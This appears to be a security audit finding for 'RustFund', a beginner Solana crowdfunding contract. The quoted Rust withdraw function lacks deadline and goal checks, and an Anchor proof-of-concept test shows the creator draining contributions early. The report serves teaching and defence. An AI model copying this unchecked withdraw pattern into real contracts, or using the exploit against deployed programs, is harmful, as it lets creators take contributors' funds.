RustFund

First Flight #36
Beginner FriendlyRust
100 EXP
View results
Submission Details
Severity: high
Valid

Premature Withdrawal Vulnerability

Summary

The RustFund crowdfunding contract contains a vulnerability where the campaign creator can withdraw contributed funds prematurely, even if the campaign deadline has not passed and the funding goal has not been met. This behavior contradicts the project’s intended design, which states that withdrawals should only occur after a campaign succeeds.

Vulnerability Details

The flaw arises from the implementation of the withdraw function. The function transfers the entire raised amount from the campaign’s account to the creator’s account without checking whether the campaign has reached its deadline or met its funding goal. Specifically:

Lack of Deadline and Goal Checks:
The withdraw function lacks conditional logic to verify that the campaign's deadline has passed and that the funding goal is achieved before allowing withdrawals.

Current Implementation:
The function simply deducts the total raised funds from the fund account and credits the creator's account:

pub fn withdraw(ctx: Context<FundWithdraw>) -> Result<()> {
let amount = ctx.accounts.fund.amount_raised;
**ctx.accounts.fund.to_account_info().try_borrow_mut_lamports()? =
ctx.accounts.fund.to_account_info().lamports()
.checked_sub(amount)
.ok_or(ProgramError::InsufficientFunds)?;
**ctx.accounts.creator.to_account_info().try_borrow_mut_lamports()? =
ctx.accounts.creator.to_account_info().lamports()
.checked_add(amount)
.ok_or(ErrorCode::CalculationOverflow)?;
Ok(())
}
}

POC

it("Allows premature withdrawal by creator even with a future deadline set when a different user contributes", async () => {
// Define campaign parameters with a future deadline (1 hour from now)
const fundName = "Premature Withdraw Fund 2";
const description = "Campaign with a future deadline and external contributor";
const goal = new anchor.BN(1000000000); // 1 SOL
const futureDeadline = new anchor.BN(Math.floor(Date.now() / 1000) + 3600); // deadline set 1 hour from now
let [premFundPDA, premFundBump] = await PublicKey.findProgramAddress(
[Buffer.from(fundName), creator.publicKey.toBuffer()],
program.programId
);
// Create the fund campaign (creator signs this transaction)
await program.methods
.fundCreate(fundName, description, goal)
.accounts({
fund: premFundPDA,
creator: creator.publicKey,
systemProgram: anchor.web3.SystemProgram.programId,
})
.rpc();
// Set the campaign deadline (which is in the future)
await program.methods
.setDeadline(futureDeadline)
.accounts({
fund: premFundPDA,
creator: creator.publicKey,
})
.rpc();
// Airdrop lamports to otherUser so they have funds to contribute
const airdropSignature = await provider.connection.requestAirdrop(
otherUser.publicKey,
2 * anchor.web3.LAMPORTS_PER_SOL // e.g., 2 SOL
);
await provider.connection.confirmTransaction(airdropSignature);
// OtherUser contributes to the campaign:
// Generate PDA for the contribution account using the fund's PDA and otherUser's public key
let [premContributionPDA, premContributionBump] = await PublicKey.findProgramAddress(
[premFundPDA.toBuffer(), otherUser.publicKey.toBuffer()],
program.programId
);
const contributionAmount = new anchor.BN(500000000); // 0.5 SOL
await program.methods
.contribute(contributionAmount)
.accounts({
fund: premFundPDA,
contributor: otherUser.publicKey,
contribution: premContributionPDA,
systemProgram: anchor.web3.SystemProgram.programId,
})
// Sign with otherUser so that the contributor signature is provided
.signers([otherUser])
.rpc();
// Check the fund's lamport balance before withdrawal
const fundBalanceBefore = await provider.connection.getBalance(premFundPDA);
console.log("Fund balance before withdrawal:", fundBalanceBefore);
// Creator withdraws funds prematurely (even though the deadline is in the future)
await program.methods
.withdraw()
.accounts({
fund: premFundPDA,
creator: creator.publicKey,
systemProgram: anchor.web3.SystemProgram.programId,
})
.rpc();
// Check the fund's lamport balance after withdrawal
const fundBalanceAfter = await provider.connection.getBalance(premFundPDA);
console.log("Fund balance after withdrawal:", fundBalanceAfter);
// The flaw: Withdrawal is allowed even though the deadline hasn't passed.
// Thus, the fund's balance should be lower after withdrawal.
expect(fundBalanceAfter).to.be.lessThan(fundBalanceBefore);
});

Impact

  • Erosion of Trust:
    Contributors expect that their funds are secured until the campaign’s success conditions are met. Early withdrawal by the creator undermines this trust and may dissuade future contributions.

  • Financial Risk for Contributors:
    If funds are withdrawn prematurely, contributors may be left without recourse if the campaign does not meet its goals, potentially resulting in financial losses.

  • Regulatory and Reputation Concerns:
    The lack of proper fund-locking mechanisms can expose the platform to regulatory scrutiny and damage the project’s reputation within the decentralized ecosystem.

Tools Used

Manual Review

Recommendations

Enforce Withdrawal Conditions:
Modify the withdraw function to include checks that ensure:

  • The campaign deadline has passed.

  • The funding goal has been met before allowing the creator to withdraw funds.

  • Implement State Flags:
    Introduce a state flag or additional logic to mark a campaign as "successful" only when all conditions (e.g., deadline, funding goal) are satisfied.

Updates

Appeal created

bube Lead Judge 5 months ago
Submission Judgement Published
Validated
Assigned finding tags:

No deadline check in `withdraw` function

No goal achievement check in `withdraw` function

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.